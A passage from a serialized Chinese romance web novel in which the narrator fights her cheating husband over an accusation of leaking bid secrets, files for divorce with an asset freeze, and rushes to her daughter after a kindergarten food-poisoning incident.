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分不耐:“你和顾时序都已经这样了,你还怕他误会你啊?”
我盯着他的眼睛,道:“这不是一回事!就算我和他离婚,我没做过的事,就不能背这个锅。你告诉我实话,这次的竞标案是不是苏雅欣帮你的?你故意给我泼脏水,也是为了她吧?”
我哥脸上的笑容淡了下去,眉头紧锁,“怪不得顾时序要出轨,像你这般无理取闹的女人,要我,我也受不了!什么苏雅欣不苏雅欣的,我不知道你什么意思?”
他避开我的视线,端起旁边侍者托盘里的香槟抿了一口,明摆着是在掩饰自己的心虚。
我追问道:“你今天必须跟我解释清楚,为什么要拖我下水?我在医院照顾顾时序的事,你是怎么知道的?你敢说,不是苏雅欣说的?”
我哥丝毫不提苏雅欣,而是义正严辞地说:“我只是看不惯你总被他拿捏。顾时序是什么人?心狠手辣,你跟他纠缠有什么好?这次我赢了,也就是我们叶家赢了!以后,他才不敢再轻看你,更不敢欺负你。”
他从头到尾都在回避我的问题,但越是如此,我越确定,我哥和苏雅欣至今为止,还没有分手。
我严肃地看着他,道:“顾时序不是任人宰割的,或许很快,他就会查出这件事的原委。你好自为之!我希望到了那个时候,你不会被苏雅欣推出去顶锅。”
我哥冷笑了声,语气十分自信,“我一人做事一人当,跟别人没关系!不要因为别人比你优秀,你自己管不住老公,就非要把脏水往人家身上泼。”
我不可思议地摇了摇头,真不知道,苏雅欣是怎么给我哥洗脑洗得这样彻底?
宴会还在热闹地举行着,水晶灯下,宾客们觥筹交错。
我站在角落的休息区,不想上前。
原来,我哥的竞标案是这么得到的。
满厅的人都好像在为一个**得到一百分的人庆功,偏偏那个**的人,也在沾沾自喜。
真可笑!
我放下酒杯,准备离开,不屑继续呆在这种地方,更无法融入这种虚假的世界。
就在我披上外套走出门时,手腕被一股冷硬的力道捉住。
我猛地抬头,紧张地看着顾时序那张阴沉的脸:“你要干什么?放开我!”
“你要是不想在你哥的庆功会上闹没脸,现在就跟我走!”
他冷冷说完,半拖半拽地将我拉进了别墅后院的那个小阁楼。
楼梯间积着薄尘,开灯时,头顶的灯泡接触不良般闪烁了两下。
他终于放开我,静静地站在房间中央。
满室的风铃早已不在,当年被我放在桌上他每年送我的生日礼物,也全被我丢掉了。
如今,这屋子空荡得只剩下墙上若隐若现的涂鸦。
顾时序环顾着这间屋子,眼中掠过一抹恍惚,稍纵即逝。
我正想跟他解释一下我没有给叶景辰透露过关于他和顾氏的任何事。
可他已经淡淡地开口:“当你把那些风铃和离婚协议放在生日礼物里送给我的时候,就已经盘算好要跟叶景辰联手报复我了,是吧?”
“不是我!”我仰头看他,一字一句地道,“顾时序,我不会做这种事!我没必要骗你!”
他上前一步,高大的身影带着压迫感笼罩下来,将我抵在墙壁,“我提防过董事会的老狐狸,防过对家的暗箭,唯独没有提防过你!可你叶昭昭,却让我们团队半年的努力,变成了笑话!”
我攥紧手指,咬牙道:“我再说一遍,不是**的,你爱信不信!”
我伸手想将他推开,却被他牢牢禁锢在墙壁间,“不是你?那你告诉我,标底是怎么泄露出去的?这个案子的标书和标底,只有我电脑里才有!而那台电脑,我住院的时候,一直带在身边。”
“你别忘了,是你逼我在医院照顾你!要不是你跟我提这个条件才能放过顾亦寒,我压根就不会踏进你病房一步!”
我说完,他好像更生气了。
顾时序冷峻的面容逼近我,鼻尖几乎要触到我额头。
他声音里裹着刺骨的寒意:“那是因为我太相信你了!可我没想到,日防夜防,家贼难防。你说,我该怎么惩罚你?”
第82章 我起诉离婚,冻结顾时序资产
他说完,带着不容抗拒的压迫感倾身而来。
我下意识偏头躲闪,他的吻却擦过我的耳廓,带着冰冷的怒意落在颈侧。
“放开我!”
我抬手推在他胸口,指甲几乎要嵌进他西装的布料里。
他纹丝不动,反而扣住我后颈的力道更紧,呼吸喷洒在我皮肤上,激起一阵战栗。
我突然冷笑了声,道:“你活该被叶景辰阴!连真正的对手是谁都分不清,还有脸在这发疯?”
顾时序猛地送开我,眼底的戾气翻涌,“你说什么?”
“我说你蠢!”
我直视着他的眼睛,声音因愤怒而发颤,“你的病房又不是只有我能进!苏雅欣三天两头往那跑,你不知道吗?我要是你,就好好查查她和叶景辰到底什么关系!”
“够了!”他厉声打断,眼神又阴又冷,“自己做了龌龊事,就想往别人身上泼脏水?叶昭昭,你真是无药可救!”
我深吸了口气,误会就误会吧,反正,他冤枉我也不是这一件事了。
我平静地开口道:“既然如此,那不如赶紧把离婚办了,以后再也别见面。也免得你公司的什么机密再被我偷走,你说呢?”
顾时序微微一顿,整理了一下被扯皱的西装,语气恢复了惯常的冷漠:“离婚可以。但是你,净身出户。”
我不可置信地看着他,质问道:“凭什么?”
顾时序眼神像是淬了冰,一字一句地说:“你知不知道这次,你让顾氏损失了多少?让你净身出户,已经是便宜你了!要不是顾念着四年的夫妻情分,你现在已经以‘窃取商业机密’的罪名被起诉了。连叶景辰自己都承认了他得到竞标案多亏你,你再狡辩,就没意思了。”
我被他气的血液几乎冲上头顶,咬牙道:“顾时序,你想起诉,尽管去起诉,让警察把一切调查清楚!但是,我没做过的事你污蔑我,你一个出轨的男人还想让我净身出户,那绝不能够!”
顾时序依旧是居高临下的样子,冷冷道:“你想好了来找我签字。但是,你别想从顾家带走一分钱。”
说完,他转身就走,门被重重带上。
明明做错的人是他,骗我结婚的人也是他!
如今走到离婚这一步,他总算露出了真面目,比我想象的还狠。
他的资产那么多,我都不去追究他隐藏的那部分,可哪怕明面上的东西,他都不肯让我带走一分!
既然如此,那该我的,我一分都不会相让!
还有我的女儿,我也不能让她继续跟着顾时序和苏雅欣这样的人,否则,早晚会把她带坏的。
这时,窗外放起了烟花,整个叶家都在庆祝我哥夺标。
我没有跟任何人打招呼,默默离开了叶家。
翌日,我去找了秦律师。
我将昨日顾时序让我净身出户的提议说了之后,秦律师道:“那这种情况就只能起诉离婚加保全财产了。虽然你丈夫可能有转移财产的行为,但保全财产能最大限度地将他名下的资产冻结。”
“那就这样做吧。”
我语气坚定,没有任何犹豫。
秦律师问:“想好了吗?一旦这一步走出去,就没有回头路了。”
我笑了笑,道:“我不后悔。”
就这样,秦律师立刻开始帮我走离婚流程。
……
两天后,我陪宋今若逛街时,刚好在一个奢侈品店遇到了苏雅欣买包。
那款包是这个牌子的限量款,国内只有三个,百万级别的。
哪怕是宋家这样的家庭,宋今若也得衡量一下。
她拿着那奶白色的包试了又试,却始终没有下定决心买下来。
据说是因为顾时序之前起诉圣辉幼儿园,导致最近幼儿园**频出,甚至很多家长开始给孩子转学。
毕竟,幼儿园里的家长都是这个圈子里的,顾家在海城又相当于风向标。
连顾时序都不让孩子上宋家的幼儿园了,其他家长察言观色,陆陆续续给孩子转学,甚至很多投资商也断掉了给宋家的投资。
所以现在,宋家的经济不似之前那般了。
宋今若对那只包喜欢到快要流口水,但终究还是放了回去,恨恨吐槽道:“都怪这个杀千刀的顾时序!”
就在这时,苏雅欣甜腻的声音传了过来:“那只包给我吧,我要。”
我们回头,便看到苏雅欣一脸嘲讽,轻蔑地开口:“这不是叶小姐和宋小姐吗?一只包包需要看这么久?说买就买了呀!”
宋今若也没让着她,冷哼了声,道:“呦,这不是我们被官网点名的大明星嘛!这代言损失了这么多,戏也接不到一个,还能买得起百万级别的包。要不说明星就是赚钱呢!”
苏雅欣脸色一变,却又不能在公众场合失态。
她拿出一张钻卡,对柜姐道:“把包包给我包起来,刷卡。”
柜姐接过卡,殷勤地说:“苏小姐您稍等。”
柜姐一走,苏雅欣得意地笑了笑,炫耀似的说:“其实明星也没有多赚钱。毕竟,混得好,不如嫁得好嘛!时序哥宠我,说他的钱我可以随便用。”
本来这话早已对我产生不了什么影响了。
但想到那日顾时序冷漠的让我‘净身出户,一分钱都别想从顾家带走’,但苏雅欣买个一百多万的包眼都不眨一下,我心里还是像堵了块石头,闷得喘不过气。
宋今若不以为意地说:“有本事用你自己老公的啊!用别人老公的钱,也值得拿出来说?”
“你!”
苏雅欣刚开口,就见柜姐匆匆朝她走来。
她一脸尴尬地将卡还给苏雅欣:“苏小姐,不好意思,这张卡没有办法用。”
苏雅欣愣住,装作若无其事地换了张卡,“用这张。”
可没想到几分钟后,柜姐又过来了,“苏小姐,这张……也用不了。”
“不可能啊!”
苏雅欣反复端详着手里的卡,道:“是不是你们店的POS机坏了?”
我突然反应过来。
恐怕不是POS机坏了,而是顾时序的资产已经被冻结了。
因为今早秦律师告诉我,**那边已经同意我的离婚起诉了。
而苏雅欣还在不停地换各种卡让柜姐刷,坚定地认为,顾时序有源源不断的钱给她用,绝不可能存在刷不出来钱的情况。
我看着她这一系列举动,莫名觉得滑稽。
“苏小姐,你不用试了。”
我似笑非笑地看着她,道:“你用的卡,不单单是顾时序的,而是我跟他的夫妻共同财产。我不同意,你又怎么能用得了呢?”
苏雅欣愣住,震惊地看着我:“你什么意思?”
我微微一笑,道:“意思就是,我申请了财产保全,顾时序名下的资产已经被冻结了。别说是你,就连顾时序自己现在都用不了自己的钱!”
“叶昭昭,你……”苏雅欣气的差点就在公共场合失态,她拼命地克制,语气还是气到发抖:“你真够狠的!”
我淡定的看着几乎抓狂她,道:“跟你比,差多了。”
这时,宋今若也加入战斗,“苏小姐,该不会离了男人,你连个包都买不起吧?你要不买,那我就要了。”
苏雅欣咬了咬牙,但终究,没有自己买。
这也足以看得出,苏家的家底其实并没有多厚,而苏雅欣最近的事业也一定很落魄。
我暗暗对宋今若道:“你别冲动,气气她就行了,一百万买个包不值当。走吧!”
“我不!”
宋今若道:“我是真喜欢这个包,再加上我现在确实高兴!买就买了!”
就这样,最后那只包还是被宋今若买了下来。
而苏雅欣就站在店门口,不停地打电话。
想也知道,电话那头的人是顾时序。
我们路过她时,宋今若还特意将包装袋在苏雅欣面前晃了晃,毫不掩饰自己眼中的嘲讽。
走远了,宋今若惊喜地问我:“你什么时候起诉的离婚?我怎么不知道?”
“就前两天。”
我淡定地将那晚叶家发生的事情告诉了她,道:“是顾时序把我逼到这一步的。”
宋今若震惊地问:“这么说来,苏雅欣那个小**
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脚踏两只船,跟你哥还有一腿?”
“应该是这样。”
我点点头,道:“不过,这些跟我已经没有关系了。只要跟他离婚,这些烂人烂事,统统都会远离我。”
宋今若赞同地道:“话是这么说没错。也不知道顾时序知不知道自己的财产被保全,被起诉离婚了。他到现在没有找你,也没什么动静吗?”
“没有。”我道:“他应该也才知道。毕竟,**今天上午才给我反馈,我也是今天才知道的。”
我话音刚落,宋今若突然想到了什么,‘啊’了声,给我吓一跳。
“你干嘛一惊一乍的?”我瞪了她一眼。
宋今若担忧地说:“你别忘了,伯母现在用的心肺支持仪还没上市。顾时序这个浑蛋会不会一生气,又在伯母身上动手脚啊?”
我紧握着手机,道:“如果他敢,我就跟他鱼死网破。我手里,有那么多他出轨苏雅欣的证据。再逼我,大家就一起死!”
“别别别,为了这个渣男死,不值当。”
宋今若帮我顺着气,略显惊讶的道:“你刚才那样子,真像个女战神,有那种遇神杀神、遇佛杀佛的样子了!”
但我知道,不到最后一步,我不会这么做。
毕竟,我就算曝光顾时序和苏雅欣,他们也顶多落到身败名裂的下场,丢人而已。
可真到那一步,我要放弃的,是我妈妈的性命。
我分析道:“顾时序他们公司用了那么久的时间,投入那么多精力和财力搞研发,不可能一直不上市的。他不会做亏本的生意,所以,他比我们还着急设备什么时候能上市售卖。”
宋今若点点头,道:“到了那个时候,再曝光他们,也不迟。”
我叹了口气,道:“我现在只想尽快拿到朵朵的亲子鉴定结果,只有确认她是我的女儿,我才有资格跟顾时序争夺抚养权。”
宋今若看了眼时间,道:“快中午了,我们先去吃饭。朵朵那件事急不来,只要这孩子在海城,我们早晚都能找到机会,拿到她的毛发或者血样。先跟顾时序把婚离了,才是真的。”
我们找了一家粤菜餐厅。
刚落座,便听见不远处的抱怨声:“时序哥,叶小姐真是太过分了!钱是你赚的,顾氏也是你的,该怎么分配,应该你做主才对。之前咱妈说叶小姐嫁给你,看上的是顾家的钱,我还不相信。现在,我是不得不信了!”
我和宋今若对视了一眼,不可置信地站起身往另一边看去。
真是冤家路窄!
这俩人跟我们仅仅只隔了一个薄薄的屏风,他们的座位就在我们的斜后方。
我们没吭声,默默坐下,宋今若甚至打开了手机录音,就想听听他们接下来还能说些什么?
要是两人一起密谋怎么让我净身出户,想出些阴损的办法,我们这证据还算得来全不费功夫呢!
就在这时,顾时序手机来了电话,他接了之后,淡淡叫了声:“妈。”
那边姜淑慧说了什么,我们不清楚,只听见顾时序道:“您不要听风就是雨的。财产只是暂时冻结而已,家里不是有现金吗?先用现金。”
说完,他挂了电话,语气有一丝不悦,问苏雅欣:“叶昭昭起诉离婚的事,是你告诉我妈的?”
苏雅欣声音小小的,一副委屈的样子:“我……我是担心你被她算计,所以想让咱妈帮着想想办法。”
“以后不要这么做了。”
顾时序语气清冷,却又含着命令的意味,“我和叶昭昭的事,少让我妈知道。再说了,她还没那个本事算计我。”
苏雅欣小心翼翼地说:“可今天要不是我通知你,你都不知道自己被她起诉了,不是吗?时序哥,我们这次得找个厉害的律师,否则,你这些年拼命打下的江山,不就都落到她的口袋里去了?”
顾时序沉默着,没有吭声。
而苏雅欣却不依不饶地继续道:“我那天听咱妈说律师界的金字招牌沈宴州是你舅舅?要不,去找沈宴州打这个离婚官司吧?你们是亲戚,他肯定会同意的。”
第83章 沈宴州约我去酒店
我和宋今若听到‘沈宴州’这三个字时,耳朵都竖了起来,心也提到了嗓子眼儿。
就在我们好奇顾时序究竟会不会同意这一提议时,服务生上菜的声音打断了他们的对话。
“吃饭吧。”
顾时序淡淡说了三个字,并没有回应苏雅欣。
我和宋今若不安地对视一眼,用无声的口型示意对方先离开这儿。
毕竟,我们现在跟顾时序他们就隔了一道屏风,要是他们先吃好饭,回去的时候都可能路过我们这桌。
我和宋今若结束了录音,悄悄站起身。
就在这时,大堂经理突然凑了上来,格外殷勤地说:“宋小姐,您和朋友是对我们的服务不满意吗?今天……怎么还没吃饭就走了?”
宋今若怕一开口就能被顾时序听出声音来,所以不停跟经理使眼色。
可经理完全没有get到她的意思,继续说道:“对了,最近是我们店庆二十周年,年礼我们已经寄至宋家了,您收到了吧?”
宋今若视死如归般地闭上眼睛。
而顾时序此时,已经走到了我们面前。
经理意外极了:“顾总?您……您和宋小姐……也认识?”
顾时序挤出一抹了然又嘲弄的笑意,对宋今若道:“大家都是朋友,坐下聊聊?”
“谁跟你是朋友!少往脸上贴金了。”
宋今若挺直了腰杆儿,并没有露出我们刚才偷偷录音的心虚,拉着我的手就要走。
刚走出两步,顾时序便扼住我的手腕,宋今若也被迫停了下来。
他扫了那经理一眼,经理格外有眼力劲儿地下去了。
我手腕被他扣得生疼,蹙眉道:“顾时序,非要在这里闹得大家都难堪吗?你要是不介意,那我也无所谓。闹起来,看谁没脸?”
宋今若冷哼了声,问:“顾时序,你该不会连请三儿吃饭的钱都拿不出来了吧?这么拉着昭昭不让她走,是让她帮你买单?”
她旁敲侧击地提起顾时序资产被冻结的事。
男人眸光泛起汹涌的冷意,看向我:“叶昭昭,你来真的?离婚,你想好了?”
我平静地说:“我什么时候都没跟你来假的。只是一开始,你不相信而已。”
“好,你别后悔。”
他点点头,松开我,
宋今若像是躲瘟疫似的,把我给拉走了。
出了门,她恨恨地说:“苏雅欣这个**可真有她的!竟然想找沈宴州。这是一点活路都不想给你留啊!”
“沈宴州不会给他们打官司的。”
我想到那日在外公家遇到的情形,道:“虽然他是顾时序名义上的舅舅,但我看,他们的关系并没多亲近。况且,我之前都把朵朵可能是我亲生女儿的事告诉了他,我觉得他不像没有三观、助纣为虐的人。”
宋今若突然笑了,揶揄道:“呦呦呦,你对沈宴州的感觉还挺好的嘛!你跟人家那么熟啊,一下子就知道人家不是三观不正的人了?”
“你瞎说什么?”
我懒得理她,径直朝前走去。
可宋今若就这么紧跟着我,道:“我能看得出来,沈老夫人想撮合你跟沈宴州呢!你要不真考虑一下他吧,万一你俩成了,你就跟姜淑慧成姑嫂了,顾时序还得叫你一声‘舅妈’呢!想想都爽!”
“宋今若!”
我羞愤地看着她,道:“你要再胡说八道,我真生气了!”
宋今若这才偃旗息鼓,挽着我胳膊,道:“我错了,还不行吗?就幻想一下爽文的剧情啊!你不喜欢,我下次就不说了!”
后来,我们换了一家餐厅。
吃完午餐,我们各回各家。
刚到家,我就打开了电脑,准备更新我的小说。
编辑建议我将小说分为上下两部,制片人这边准备先拍上部,如果上部反响好,会继续筹备下部。
而上部需要在年底之前完结,否则,会耽误拍摄进度。
所以我时间还是很紧张的。
为了加快进度,我在电脑前一直坐到了深夜,一天之内,码了两万字。
或许是因为很多事都是自己亲身经历过的,所以很少有灵感缺乏的时候,码字自然就快了很多。
连编辑都惊叹,觉得我不像是新手,倒像是写过许多书的作者。
“未央大大,请问您最近有空吗?咱们这部戏是大制作,按说开拍前是要跟投资商、制片人和导演一起见个面的。”
看着发来的信息,我虽想拒绝,但我并不是不食人间烟火的人,正常的应酬,我不会拒绝的。
只不过,我想起投资商之前说过是沈氏旗下的传媒公司。
因此,我问:“投资商那边出面的是沈氏的人吗?”
虽然这篇小说对我自己身上的事进行了一些艺术加工,并不是完全写的我自己,可如果被熟人知道,还是有点尴尬的。
万一沈氏那边出面的人是沈宴州,我岂不是囧上加囧?
所以还是问清楚比较好。
编辑回我:“稍等,我问一下。”
很快,编辑告诉我,投资商的大老板会亲自出席。
所以,我作为小说的原作者最好能参加一下,毕竟,能见到大老板,机会来之不易。
我想,大老板应该就是沈宴州了。
因此,我还是找了个借口,说自己是纯i人,拒绝了。
本以为拒了就没事了。
可没过多久,我微信响了一下信息提示。
我完全没想到,沈宴州会主动给我发信息。
打开后,短短几个字:“我这么可怕?”
我愣了一下,回过去一个问号,配文:“舅舅,您是不是发错信息了?”
他又发:“是因为我,你才拒绝了这个饭局?”
我顿时反应过来,脸烫得厉害。
所以,他早就知道这部小说的作者是我了?
我本以为沈氏这么大的公司,沈宴州又这么忙,肯定只管大事,并不会注意到这些细枝末节。
想到他早就知道了,甚至看到了小说里的内容,我恨不得找个地缝钻进去。
我硬着头皮给他回:“我酒精过敏,所以从不参加应酬,抱歉。”
“有我在,不会有人逼你喝酒。”
我看着上面的信息,还在想其它借口。
可他紧接着又发来:“后天晚上七点君悦酒店。”
压根没给我拒绝的机会。
我深呼了一口气,回了个‘OK’的手势,可心里七上八下的。
主要,还是尴尬。
不知道沈宴州看我小说的时候,会不会把小说里的每个人物,都跟我对应上。
更糗的是,我小说里也有个律师。
但我写的那个律师,是准备留着跟我闺蜜配CP的,绝对不是参照他的形象!
我胡思乱想了一通,惴惴不安的,终于等到了后天。
……
为了显示出对这个饭局的重视,我化了淡妆,选了一套较为知性的驼色羊绒大衣,好好收拾了一通。
君悦酒店距离我住的地方并不近,开车算上堵车的时间,要一个多小时。
五点左右,我正准备从家出发,手机突然响了。
接起电话,听筒里传来孟云初的声音,我着实有些意外。
虽说从前在单位时,我们曾因共同的对手短暂站在过同一阵线,但交情始终隔着层纱。
如今我们都已离职,我没想到她还会联系我。
“昭昭,你最近怎么样?最近,怎么看不到你发的新闻了?”
我边往外走,边道:“你离职没多久,我也因为一些事情被解雇了。”
孟云初那边顿了顿,语气里多了几分了然:“又是跟苏雅欣有关?你和阿姨被网暴那次,我看见了。现在都解决了吧?”
那些压抑的过往实在不愿多提,我避开话题:“都过去了。你突然打电话,是有什么事吗?”
“刚收到消息,星耀幼儿园发生了学生集体食物**。”
孟云初的声音带着工作狂的急切,“这是个好新闻点,但我新入职的公司太忙,手头还盯着个贩卖器官的案子,实在分身乏术。你……能不能帮我跟进一下?”
“星耀幼儿园”这五个字,让我猛地顿住脚步。
好像前段时间,顾时序给朵朵转幼儿园,就转到了这家。
这个幼儿园也是海城唯一能跟宋家开的贵族幼儿园匹敌的
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我没有任何犹豫,答应道:“好,资料发我,我现在就过去。”
……
路上,孟云初把星耀幼儿园食物**的资料发到我手机里,我快速浏览了一下。
赶到幼儿园时,门口已围满了来要交代的家长,和许多媒体闪烁的镜头。
我亮明曾做记者时的证件,顺着老师和家长们慌乱的对话捕捉关键信息。
可园方为了**息、降低影响,丝毫不肯透露**孩子的名单。
我焦急万分。
采访都是其次,我只想知道,我的朵朵她究竟有没有幸免?
直到一个自称家委会会长的妈妈拿出了名单。
果然,**孩子的名单里有‘顾依朵’这三个字,后面还有就诊医院名字,是市一院。
我浑身冰凉,立刻开车往这家医院赶。
……
幸好医院并不远,半小时就到了。
此时的市医院也因为收治了太多幼儿园的孩子,围满了家长。
刚到儿科,我就从众多家长里看见了顾时序。
他颀长的身影透着一股生人勿近的冷意,指尖夹着烟,却没点燃。
孙杰在他身边一直说话,不知道在汇报着什么?
“顾时序。”我快步走过去,声音带着不易察觉的颤抖。
他闻声转头,看到我时,眉头紧锁,不悦地问:“你怎么来了?”
我为了不让他发现端倪,故作镇定地亮出记者证,道:“我来采访。”
顾时序的脸沉得更厉害,语气冷得像冰:“你去采访其他人吧。”
他这幅样子,让我的心猛地跌进谷底,追问道:“朵朵怎么样了?她……她**很严重吗?”
顾时序凉薄的目光没有一丝温度,冷声道:“这跟你无关。”
“朵朵真的跟我无关吗?”
我胸腔里翻涌着愤怒,脱口而出:“她明明是我的……”
话刚说一半,孙杰过来打断道:“太太,您要不……还是先去采访其他人吧?顾总现在心情不好,您……就别往上凑了。”
就在这时,苏雅欣匆匆赶到,带着墨镜口罩。
她看到我在,微微一顿,随即,直接挤开我,走到顾时序面前问:“时序哥,朵朵没事吧?为什么会这样?”
说着,她语气里已经带上了哭腔,人也顺势靠进了顾时序怀里。
顾时序轻揽住她,语气低柔:“医生还在抢救。”
我的心也紧紧揪了起来。
他用了‘抢救’二字?
所以,朵朵**很严重吗?
我攥紧了手心,恨恨地说:“顾时序,如果不是你把朵朵转到星耀幼儿园,根本不会出这种事!”
他猛地抬眼,眸色阴鸷如墨:“你还好意思提?谁知道你和宋今若在朵朵身上打的什么主意?”
苏雅欣一副崩溃的样子道:“叶小姐,我求求你放过我的朵朵吧!她已经很惨了,你来这儿就是为了幸灾乐祸的吗?”
她这句话一出,顾时序看我的眼神更加冷了,对我道:“非要让我请保镖来把你轰走吗?”
要是他真这么做,我就更无法得知朵朵的消息了!
所以,我没再继续跟他纠缠,而是用记者的身份去采访医生,想打听到一些有用的信息。
至少,要让我知道,朵朵是否安全?
在采访中,我得知,孩子们的**原因是幼儿园园长欠下了巨额赌债而挪用**,以至于各个方面都缩减开支,就连给孩子们吃的食物都用劣质过期食材。
就在我采访几位儿科医生时,一名护士突然跑进办公室,“张医生,有三个孩子快不行了!抢救室需要支援!”
我的心差点蹦出来,会是我的朵朵吗?
我拔腿跟上了医生。
然而今天我穿的本来是准备去参加应酬的高跟鞋,这一跑,脚下一绊,整个人都摔在了地上。
我狼狈地爬起来,继续跌跌撞撞地往抢救室的方向跑。
猛地,我撞进一堵肉墙。
抬头,才发现是顾时序。
苏雅欣这会儿不知道哪去了?
“朵朵呢?”我抓着他的衣襟,声音发颤,“抢救室里的……是不是她?”
第84章 沈宴州晚上过来
他盯着我看了两秒,那眼神深不见底,像是在探究什么。
末了,才淡淡开口:“不是。”
我紧绷的神经骤然一松,几乎要瘫软下去。
“她已经脱离危险了。”
顾时序语气很冷,对我道:“顾氏总裁的女儿食物**,对你们挖新闻的记者来说,算是个爆点吧?”
我没想到,我这番举动在他眼里,竟然只是那些为了挖爆点而无利不起早的记者。
只是我已经早已没力气再解释什么。
确认朵朵没事的瞬间,眼眶突然就热了。
我低下头,声音闷闷的:“她没事就好。”
就在这时,苏雅欣回来了,“时序哥,转院的事情已经联系好了。这种公立医院太闹,环境也不好。朵朵还是去我们自家的私立医院合适,那里能静养。”
“嗯。”
顾时序没有任何意见。
我听到她转院的消息,顿时不能淡定了,“顾时序,市一院是海城儿科顶尖的医院,医生的技术都是最好的。你把朵朵转幼儿园已经害了她,现在你又要重蹈覆辙吗?”
顾时序微微顿了顿,眼神中似乎有一丝犹豫。
这时,苏雅欣道:“叶小姐,我和时序哥是朵朵的父母,我们有权安排她的任何事。”
她说完,顾时序没再理我,直接带着苏雅欣离开。
看着他们走远的背影,我紧紧攥着指尖,明明我才是朵朵的妈妈!
可顾时序分明是准备瞒到底了,他就是不想我跟朵朵有任何接触,反而让苏雅欣这种女人来参与朵朵的所有事。
我必须要想个办法尽快拿到朵朵和我的亲子鉴定,把抚养权争取过来。
可是,能帮我做到这一切的人,我只能想到‘沈宴州’。
这三个字刚窜进我脑海中,我突然想起今晚的应酬。
我赶忙拿出手机,已经是夜里九点多了。
手机上好几个未接来电,是上次试戏时加了联系方式的副导演打来的。
因为朵朵食物**,我竟把应酬的事忘得干干净净。
想到这儿,我连忙给副导演回过去电话,想问一下晚上的情况。
副导演语气不是很好,抱怨道:“叶小姐,我知道您一书成名,心高气傲也是正常的。可您也要分清场合啊!今晚是什么场合?投资商、导演、制片人,全是大咖!哪个不比你腕儿大!”
“抱歉,我晚上临时发生了一些事情,所以忘记了。”
我只能一个劲儿的道歉。
副导演道:“幸亏投资商那边没怪罪,否则,您这部剧,说不定都没那么容易开拍了!”
说完,他挂了电话。
我望着黑下来的手机屏幕,想到刚才副导演的话,更应该跟沈宴州解释一下才是。
毕竟,我不是故意爽约的。
可我没有他的手机号,只有微信。
犹豫了很久,我给他打了微信语音。
可惜,他没接。
我也没好意思再继续打下去。
因为太晚了。
或许,他睡了。
明天他看到,会回我吧?
……
这一晚上,我辗转反侧。
朵朵的事让我根本无法入睡。
该想什么办法去做亲子鉴定呢?
有亲子鉴定的情况下,顾时序都不一定能把朵朵还给我,更别说毫无证据就找他要孩子了!
翌日,我熬着黑眼圈起床。
手机干干净净,沈宴州并没有回消息给我。
是生气了吗?
我只好给他发了个信息,态度诚恳:“小舅舅,很抱歉。昨天朵朵在幼儿园食物**,事发突然,我只顾着朵朵,忘记了应酬的事。改日一定当面跟您赔罪。”
我等了二十分钟,可这条道歉信息依旧石沉大海。
我没精力想别的,再次去了市一院。
朵朵果然已经转院了。
哪怕我有记者身份,也没办法打听到她究竟转到了哪家医院?
就在我急的准备去顾氏庄园找顾时序时,这男人竟然给我打了电话。
“现在有空吗?”他声音低沉,貌似很勉强。
“你有事?”我问。
他低低的说:“朵朵胃口不好,想吃你做的蛋糕。如果你方便的话,麻烦做一个送来。我给你现金。”
最后一句话像一根刺扎进我心里。
我冷声道:“我不需要你的酬谢,我可以给朵朵做蛋糕。你把地址发给我,做好我送过去。”
顾时序道:“我让孙杰来取。”
“不必,我自己送去!”
我语气坚定。
要我做蛋糕,却又不想我接触到朵朵,他还真是打得一手好算盘。
为了让朵朵尽快吃饭,他最终还是同意了。
我怕耽误朵朵中午吃饭,赶忙买了食材在家里忙碌起来。
中午之前,我做好了朵朵喜欢的拉布布蛋糕,但这次做的很小。想着她大病初愈,不能吃太多甜的。
同时,我还做了份儿童营养餐。
将这些打包好之后,我开车前往顾时序给我的地址。
顾氏旗下的儿童医院的确比公立医院安静,环境更是没话说。
顾时序甚至将整整一层楼都清空,只给朵朵一个人住。
我过去的时候,苏雅欣和顾时序在外面不知道说些什么。
听见我的脚步声,两人不再说话。
苏雅欣走上前,挤出一抹笑脸,道:“叶小姐,真是麻烦你跑一趟了。”
说完,她就要上来接我带来的饭和蛋糕。
我直接避开她,面无表情道:“我自己送给朵朵就好。”
“不必了。”
顾时序冷声开口道:“朵朵刚恢复,免疫力还很低,病房需要绝对的清洁,越少人进入越好。”
我听着就来气,“你的意思是,我是病毒?那我做的饭菜也有病毒。既然如此,你一大早的干嘛还打电话求我做蛋糕?”
顾时序眸光微敛,没有说话。
苏雅欣似笑非笑地说:“叶小姐,不然这样吧,你教会我做,我让时序哥给你酬劳,可以吗?”
“你让他给?”
我眯着眼睛反问道:“他的资产都被冻结了,他的钱本身就我一半!你算什么东西,你让他给?”
苏雅欣脸色骤然变白,泪光盈盈地望向顾时序。
顾时序面色冷沉,道:“叶昭昭,别以为你起诉,就能得到什么!现在说一切,都太早。让别人记住身份的同时,你自己也最好记住身份!”
就在这时,病房里传来朵朵的声音:“爸爸,是我的蛋糕到了吗?”
顾时序语气瞬间温柔,应了声:“对。”
为了让女儿尽快吃上蛋糕,她还是让我进去了,但他一直跟在我身后,似乎在防着我。
朵朵看见我手中的蛋糕时,眼睛都亮了:“哇,好漂亮!可是,为什么比上次的小呢?”
我望着小姑娘苍白的脸色,心中异常难受。
摸了摸她毛茸茸的脑袋,我道:“朵朵,等你病好了,我就做个大的给你,好吗?但是现在呢,你如果想吃这个蛋糕,就要先把这里的饭菜吃完哦。”
说着,我打开了给她做的儿童餐。
朵朵光盯着蛋糕看,撅着嘴道:“可是,我除了蛋糕,什么都不想吃。”
“你先尝一尝,好不好?”
我用筷子夹了一块藕丁,道:“如果你不喜欢吃,就不吃了。就试一下,乖。”
朵朵小嘴张开,将藕丁吃了进去。
莲藕是我最喜欢的素菜,我想,如果母女连心的话,朵朵应该也会喜欢吧?
我期待地望着她。
没想到,她吃完这颗藕丁后,仿佛胃口大开,对我道:“再要一口饭饭。”
我忍不住扬起唇角,坐在她床边,一口饭,一口菜地喂给她。
偶尔,我能看到一旁的顾时序,那种复杂深邃的目光。
这时,苏雅欣走了进来,笑眯眯地说:“朵朵,妈妈喂你,好不好?阿姨很忙的,我们让她回去吧,好吗?”
我的手微微一顿,不由得捏紧了筷子。
而朵朵对苏雅欣近乎于言听计从,她乖乖地点头,“嗯,让妈妈喂。妈妈喂得更香。”
我的心像被无数细针扎着,密密麻麻地疼。
可为了不引起顾时序的怀疑,每天见到朵朵,我还是将碗筷让给了苏雅欣。
只要能找机会得得到我和朵朵是母女的证据,这点忍受,算什么?
在苏雅欣喂朵朵吃饭的时候,顾时序也来到了她身边。
两人一左一右地陪伴着朵朵,只有我,像个十足的外人。
顾时序的狠真是超出我想象,生生把我从女儿的世界剖开。
如果不是我发现了端倪,恐怕我这一辈子,都会以为我的孩子在那冰冷的坟墓里。
